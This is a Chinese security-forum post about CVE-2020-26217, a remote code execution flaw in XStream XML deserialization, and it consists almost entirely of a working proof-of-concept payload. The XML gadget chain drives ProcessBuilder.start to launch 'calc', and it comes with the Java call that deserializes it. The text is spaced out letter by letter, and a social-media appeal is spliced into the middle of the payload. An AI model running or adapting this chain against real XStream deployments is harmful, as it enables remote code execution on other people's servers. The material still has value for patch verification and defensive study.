搜索

[1150] 2020-11-17_CVE-2020-26217XStreamXML反序列化远程代码执行

文档创建者：s7ckTeam
浏览次数：59
最后更新：2025-01-16
2020-11-17_CVE-2020-26217XStreamXML反序列化远程代码执行 C V E - 2 0 2 0 - 2 6 2 1 7   X S t r e a m   X M L 反 序 列 化 远 程 代 码 执 行 C h a B u g 运 营 小 哥 哥   C h a B u g   2 0 2 0 - 1 1 - 1 7 h t t p s : / / x - s t r e a m . g i t h u b . i o / C V E - 2 0 2 0 - 2 6 2 1 7 . h t m l < m a p >     < e n t r y >         < j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g >             < f l a g s > 0 < / f l a g s >             < v a l u e   c l a s s = ' c o m . s u n . x m l . i n t e r n a l . b i n d . v 2 . r u n t i m e . u n m a r s h a l l e r . B a s e 6 4 D a t a ' >                 < d a t a H a n d l e r >                     < d a t a S o u r c e   c l a s s = ' c o m . s u n . x m l . i n t e r n a l . w s . e n c o d i n g . x m l . X M L M e s s a g e $ X m l D a t a S o u r c e ' >                         < c o n t e n t T y p e > t e x t / p l a i n < / c o n t e n t T y p e >                         < i s   c l a s s = ' j a v a . i o . S e q u e n c e I n p u t S t r e a m ' >                             < e   c l a s s = ' j a v a x . s w i n g . M u l t i U I D e f a u l t s $ M u l t i U I D e f a u l t s E n u m e r a t o r ' >                                 < i t e r a t o r   c l a s s = ' j a v a x . i m a g e i o . s p i . F i l t e r I t e r a t o r ' >                                     < i t e r   c l a s s = ' j a v a . u t i l . A r r a y L i s t $ I t r ' >                                         < c u r s o r > 0 < / c u r s o r >                                         < l a s t R e t > - 1 < / l a s t R e t >                                         < e x p e c t e d M o d C o u n t > 1 < / e x p e c t e d M o d C o u n t >                                         < o u t e r - c l a s s >                                             < j a v a . l a n g . P r o c e s s B u i l d e r >                                                 < c o m m a n d >                                                     < s t r i n g > c a l c < / s t r i n g >                                                 < / c o m m a n d >                                             < / j a v a . l a n g . P r o c e s s B u i l d e r >                                         < / o u t e r - c l a s s >                                     < / i t e r >                                     < f i l t e r   c l a s s = ' j a v a x . i m a g e i o . I m a g e I O $ C o n t a i n s F i l t e r ' >                                         < m e t h o d >                                             < c l a s s > j a v a . l a n g . P r o c e s s B u i l d e r < / c l a s s >                                             < n a m e > s t a r t < / n a m e >                                             < p a r a m e t e r - t y p e s / >                                         < / m e t h o d >                                         < n a m e > s t a r t < / n a m e >                                     < / f i l t e r >                                     < n e x t / >                                 < / i t e r a t o r >                                 < t y p e > K E Y S < / t y p e >                             < / e >                             < i n   c l a s s = ' j a v a . i o . B y t e A r r a y I n p u t S t r e a m ' >                                 < b u f > < / b u f >                                 < p o s > 0 < / p o s >                                 < m a r k > 0 < / m a r k >                                 < c o u n t > 0 < / c o u n t >                             < / i n >                         < / i s >
分 享 、 点 赞 、 在 看 就 是 对 我 们 的 一 种 支 持 ！                         < c o n s u m e d > f a l s e < / c o n s u m e d >                     < / d a t a S o u r c e >                     < t r a n s f e r F l a v o r s / >                 < / d a t a H a n d l e r >                 < d a t a L e n > 0 < / d a t a L e n >             < / v a l u e >         < / j d k . n a s h o r n . i n t e r n a l . o b j e c t s . N a t i v e S t r i n g >         < s t r i n g > t e s t < / s t r i n g >     < / e n t r y > < / m a p > X S t r e a m   x s t r e a m   =   n e w   X S t r e a m ( ) ; x s t r e a m . f r o m X M L ( x m l ) ;

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理